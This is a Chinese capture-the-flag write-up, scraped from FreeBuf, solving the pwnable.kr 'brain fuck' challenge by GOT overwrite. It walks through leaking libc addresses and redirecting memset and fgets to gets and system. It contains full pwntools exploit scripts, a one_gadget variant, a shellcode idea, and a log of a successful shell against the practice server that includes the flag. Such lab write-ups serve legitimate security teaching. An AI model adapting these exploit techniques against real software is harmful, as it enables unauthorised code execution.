24

Brain fuck-pwnable.kr三种思路详解

 5 years ago
source link: https://www.freebuf.com/vuls/216749.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

前言

题目主要考点:GOT覆写技术。关于GOT覆写的基础知识以及例题可以参考这些文章:

深入理解GOT表覆写技术

GOT表覆写技术

题目

I made a simple brain-fuck language emulation program written in C. The [ ] commands are not implemented yet. However the rest functionality seems working fine. Find a bug and exploit it to get a shell.

Download : http://pwnable.kr/bin/bf

Download : http://pwnable.kr/bin/bf_libc.so

Running at : nc pwnable.kr 9001

题目提供的仅有程序以及函数库

r2ABbmz.jpg!web

一个32bit开启了Stack、NX、RELRO保护的程序

初次尝试性运行:

F73Ijef.jpg!web

程序大体是一个brainfuck测试程序,并且给出提示不要输入[]

审计

图中IDA截图部分函数名被替换及注释

main()中主要是赋值了一个全局变量p(第10行),输出一下欢迎提示语,然后清空了s的栈空间,从标准化输入读取数据到s中。然后依次取出s中的数作为参数,传入到do_brainfuck()

eAn2Qri.jpg!web

根据题目提示,还有结合do_brainfuck()来看,推测程序是一个小型的 brain fuck编译器什么是brainfuck(维基) )。

do_brainfuck()里面主要是一个选择分支switch,其中的43、44等等都是ascii码,对应的字符请看图上IDA注释。

vemiIrr.jpg!web

其中各个分支(符号代表)的功能,可见下表:(部分来源于 TaQini

操作 含义 解释 > p += 1 p值加1 < p -= 1 p值减1 + (*p) += 1 p值指向的值加1 – (*p) -= 1 p值指向的值减1 . putchar(*p) 输出 , getchar(*p) 输入

简单来说就是:,、.分别控制输入输出;<、>分别控制p后退前进;+、-分别控制p指针的前进后退。

brainfuck中的<、>实际上影响的是p中存储的值;+、-影响的是存储在tape的值

思路

为什么说这条题是考GOT覆写技术?或者说作者所设想的解题思路是通过GOT表覆写?(实际上应该不止这一种方法)

我们来看两个全局变量p和tape,在程序中的位置:bss段

FN7Vz22.jpg!web

这就离.got.plt很近,在IDA向上翻,不远就能看到这段信息:

7nIBvmz.jpg!web

指针*p指向的tape距离.got.plt最高位的函数距离是0×70,小于0×400。就完全有可能利用do_brainfuck()提供的移动&读取功能泄露出函数真实地址,进而计算得出libc基地址,并且可以利用写入功能覆写GOT表,控制函数跳转。

现在已有的条件是可以泄露出libc的基地址,最终目的是get shell,我们还需要一个system(‘//bin/sh’)。题目提供了程序调用的函数库(libc),这就很方便得到某函数的偏移地址了。因此system()函数通过基地址加上偏移地址得到。那么现在关键是怎么传递参数//bin/sh

在main()中的这段代码中,memset()、fgets()被前后调用,我们可用将参数//bin/sh放到memset()首个参数位。

muaaMnZ.jpg!web

通过覆写GOT将memset()替换为有读取写入并传递参数功能的函数(如:gets),将fgets()替换为system()并向里传入参数。其中gets()的真实地址获取方式与system()相同。

思路总结:

通过泄露putchar()真实地址,得出libc基地址

覆写memset()为gets(),fgets()为system()

大致思路如上,具体实现需要注意的细节,在下面的脚本章节中,搭配具体脚本讲解。

脚本

#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF("./bf")
libc = ELF("./bf_libc.so")
# 处理地址部分
tape_addr = 0x0804A0A0 # p指向的tape的地址,也即是<、>影响的值
putchar_addr = 0x0804A030 # putchar地址,可在IDA或者objdump查到
putchar_libc_offset = libc.symbols['putchar'] # putchar在libc中的偏移地址
memset_addr = 0x0804A02C # memset地址,可在IDA或者objdump查到
memset_libc_offset = libc.symbols['memset'] # memset在libc中的偏移地址
fgets_addr = 0x0804A010 # fgets地址,可在IDA或者objdump查到
fgets_libc_offset = libc.symbols['fgets']# fgets在libc中的偏移地址
main_addr = 0x08048671 # main函数起始地址,可在IDA查到
raw_libc_base_addr = '' # 用于存放泄露的putchar真实地址
# 构造payload部分
payload = '' # 初始化payload
payload += '<' * (tape_addr - putchar_addr) # 调整p指向到putchar(0x0804A030)
payload += '.' # 调用一次putchar函数,让plt中有putchar真实地址的记录
payload += '.>' * 0x4 # 读取putchar真实地址
payload += '<' * 0x4 + ',>' * 0x4 # 返回到putchar函数的顶部(0x0804A030),并覆写putchar为main函数的地址(用于覆写完成后,回跳到程序中运行函数getshell)
payload += '<' * (putchar_addr - memset_addr + 4) # 调整p指向到memset(0x0804A02C)
payload += ',>' * 0x4 # 覆写memset为system函数地址
payload += '<' * (memset_addr - fgets_addr + 4) # 调整p指向到fgets(0x0804A010)
payload += ',>' * 0x4 # 覆写fgets为gets函数地址
payload += '.' # 调用putchar回跳到main中
#log.info("start send")
p = remote('pwnable.kr',9001)
#p = process("./bf")
p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n')
p.sendline(payload)
#log.info("send end")
#gdb.attach(p,b*0x08048671)
# 计算libc基地址&各函数真实地址
p.recv(1) # 接收第一次调用putchar时,产生的1byte无用信息(\00)
raw_libc_base_addr = u32(p.recv(4)) # 接收泄露的putchar真实地址
libc_base_addr = raw_libc_base_addr - putchar_libc_offset # 泄露真实地址-函数在libc中偏移地址=libc基地址
gets_addr = libc_base_addr + libc.symbols['gets'] # 计算gets真实地址
system_addr = libc_base_addr + libc.symbols['system'] # 计算system真实地址
# 打印计算得到的各函数真实函数地址
log.success("putchar_addr = " + hex(raw_libc_base_addr))
log.success("libc_base_addr = " + hex(libc_base_addr))
log.success("gets_addr = " + hex(gets_addr))
log.success("system_addr = " + hex(system_addr))
# 输入各函数的地址
p.send(p32(main_addr))
p.send(p32(gets_addr))
p.send(p32(system_addr))
p.sendline('//bin/sh\0') # system参数,调用sh。\0为结束输入符
p.interactive()

处理地址部分:函数在内存的地址都是通过在IDA,从P变量向上翻到.got.plt中函数的地址。也可以用objdump -R ./bf查找got表,查询结果与在IDA中的相同。

构造payload部分

注意使用>、<移动p时(实际上增加p中值,相当于p+=1 p++),起始地址是0x0804A0A0(p被赋值&tape)。所以开始计算移动到putchar()应该是0x0804A0A0 – 0x0804A030

88行因为程序运行到目前为止,还有没有运用过一次putchar(),所以plt中没有记录,因此需要调用一次putchar(),即输入一个.。注意这里可能会给我们返回1byte的无用信息(因为调用了putchar()),所以我们在108行处理无用信息后,再开始接收泄露的putchar()真实地址。但从debug返回的信息来看,108行没有接收到任何字节,反而在109行接收到了5byte的信息(首位是\00),所以到底需要不需要108行处理1byte无用信息就根据实际情况自行调整吧~,反正脚本都能跑的通XD

之所以要将putchar()覆写为main(),是因为我们覆写完各函数之后,需要运行被覆写的函数才能get shell 啊!所以需要回跳到main()运行函数。

计算libc基地址

这里防止本人的年轻人痴呆就在大概记录下怎么计算libc基地址。

在程序运行环境的libc文件时,我们可以利用pwntools将libc文件用ELF()加载后(如:libc = ELF(“./your_libc_file_name.so”),可以查询到各个函数在相对于libc基地址的偏移地址(如:libc.symbols['system'])。然后把利用程序漏洞而泄露出来的函数真实地址减去偏移地址就是libc基地址。(110行)

输入各函数的地址

看到其他writeup下面有提问:为什么一次性输入全部的地址,就能够输入到指定位置?

首先清楚的是我们调用brainfuck中的,输入,会从标准化输入中读取内容并输入(如果缓冲区有东西)这里补充一点个人理解:scanf、gets等等输入函数都有对应的结束输入符。例如我们用scanf采集我们的输入,空格就是输入结束符。假设我们这个时候输入这样的一段字符串test1 test2,那么scanf中采集到的是test1,而剩下的test2就会被放入标准化输入的缓冲区。

我们在发送payload(103行)之后,程序实际上是停留在了90行等待我们输入的阶段,然后我们输入全部的覆盖地址信息,程序会采集main()的地址覆写了putchar(),剩下的地址会被放入到了标准化输入的缓冲区。直到下一次调用输入时,就会从缓冲区取值输入。这就是为什么我们能一次性输入全部的值。

125行字符串末尾加了\0手动结束输入。

LOG

skye@skye-ubuntu18:~/pwnable.kr/bfed$ python2 bf.py 
[DEBUG] PLT 0x8048440 getchar
[DEBUG] PLT 0x8048450 fgets
[DEBUG] PLT 0x8048460 __stack_chk_fail
[DEBUG] PLT 0x8048470 puts
[DEBUG] PLT 0x8048480 __gmon_start__
[DEBUG] PLT 0x8048490 strlen
[DEBUG] PLT 0x80484a0 __libc_start_main
[DEBUG] PLT 0x80484b0 setvbuf
[DEBUG] PLT 0x80484c0 memset
[DEBUG] PLT 0x80484d0 putchar
[*] '/home/skye/pwnable.kr/bfed/bf'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[DEBUG] PLT 0x176b0 _Unwind_Find_FDE
[DEBUG] PLT 0x176c0 realloc
[DEBUG] PLT 0x176e0 memalign
[DEBUG] PLT 0x17710 _dl_find_dso_for_object
[DEBUG] PLT 0x17720 calloc
[DEBUG] PLT 0x17730 ___tls_get_addr
[DEBUG] PLT 0x17740 malloc
[DEBUG] PLT 0x17748 free
[*] '/home/skye/pwnable.kr/bfed/bf_libc.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] start send
[+] Opening connection to pwnable.kr on port 9001: Done
[DEBUG] Received 0x25 bytes:
    'welcome to brainfuck testing system!!'
[DEBUG] Received 0x2d bytes:
    '\n'
    'type some brainfuck instructions except [ ]\n'
[DEBUG] Sent 0xbf bytes:
    '<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<..>.>.>.><<<<,>,>,>,><<<<<<<<,>,>,>,><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<,>,>,>,>.\n'
[*] send end
[DEBUG] Received 0x1 bytes:
    00000000  d6                                                  │·│
    00000001
[DEBUG] Received 0x4 bytes:
    00000000  20 29 64 f7                                         │ )d·││
    00000004
[+] putchar_addr = 0xf7642920
[+] libc_base_addr = 0xf75e1000
[+] gets_addr = 0xf76403e0
[+] system_addr = 0xf761bda0
[DEBUG] Sent 0x4 bytes:
    00000000  71 86 04 08                                         │q···││
    00000004
[DEBUG] Sent 0x4 bytes:
    00000000  e0 03 64 f7                                         │··d·││
    00000004
[DEBUG] Sent 0x4 bytes:
    00000000  a0 bd 61 f7                                         │··a·││
    00000004
[DEBUG] Sent 0xa bytes:
    00000000  2f 2f 62 69  6e 2f 73 68  00 0a                     │//bi│n/sh│··│
    0000000a
[*] Switching to interactive mode
[DEBUG] Received 0x25 bytes:
    'welcome to brainfuck testing system!!'
welcome to brainfuck testing system!![DEBUG] Received 0x2d bytes:
    '\n'
    'type some brainfuck instructions except [ ]\n'
type some brainfuck instructions except [ ]
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x23 bytes:
    'BrainFuck? what a weird language..\n'
BrainFuck? what a weird language..
$

总结

 bss段靠近.got.plt段,可能存在GOT覆写
 IDA查找.got.plt段和objdump -R file_name查询got表的函数地址一致

一点点异想天开

嗯??不是说3种解法么?怎么总结了?别急这不就来了么?嘻嘻XD

这里只给出第一种方法的详解,另外一种给出思路。

1. 利用one_gadget

其实将fgets()、memset()分别覆写为gets()、system(),然后通过gets()向system()输入参数/bin/sh。这个步骤不是在构建一个gadget?那么是不是可以用one_gadget工具查询在给出的函数文件本身就存在的one_gadget,然后覆写GOT表,直接跳转get shell,免去了自己手动构建gadget的过程XD。

怎么安装one_gadget 看这里或谷歌之

首先先用one_gadget查下给定的函数库有哪些one-gadget。

grey.gif

这里给出6个one-gadget,那就一个个试,直到可以为止(测试 结果:最后两个可行)

然后将payload构建代码,发送的地址信息修改一下(38行;具体看下面给出的脚本)

#coding:utf-8
   from pwn import *
   context.log_level = 'debug'
   elf = ELF("./bf")
   libc = ELF("./bf_libc.so")
   # address
   tape_addr = 0x0804A0A0
   putchar_addr = 0x0804A030
   putchar_libc_offset = libc.symbols['putchar']   
   raw_libc_base_addr = ''
   # build payload
   payload = '' 
   payload += '<' * (tape_addr - putchar_addr) # move to putchar address(0x0804A030)
   payload += '.' # load putchar into plt (for the time to use putchar)
   payload += '.>' * 0x4 # load putchar real address
   payload += '<' * 0x4 + ',>' * 0x4 # overload putchar
   payload += '.' # getshell
   log.info("start send")
   p = remote('pwnable.kr',9001)
   #p = process("./bf")
   p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n')
   p.sendline(payload)
   log.info("send end")
   # libc_base_addr
   p.recv(1) # recv the first time call putchar junk info
   raw_libc_base_addr = u32(p.recv(4))
   libc_base_addr = raw_libc_base_addr - putchar_libc_offset # recv_addr - offset == base_addr
   p.send(p32(libc_base_addr + 0x5fbc5)) # 将one-gadget偏移地址填在这里,现在给出的偏移地址为试验成功的。0x5fbc6也是可以的。
   p.interactive()

2. shellcode

还有一个想法就是我们在p指向的tape左右共计0×800的空间内找到一个可写入的空间,将shellcode写入,然后覆写GOT表,跳转运行shellcode来get shell?

由于长度有限制,可以到 http://shell-storm.org 找短一点的shellcode。

IB3eeuB.jpg!web


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK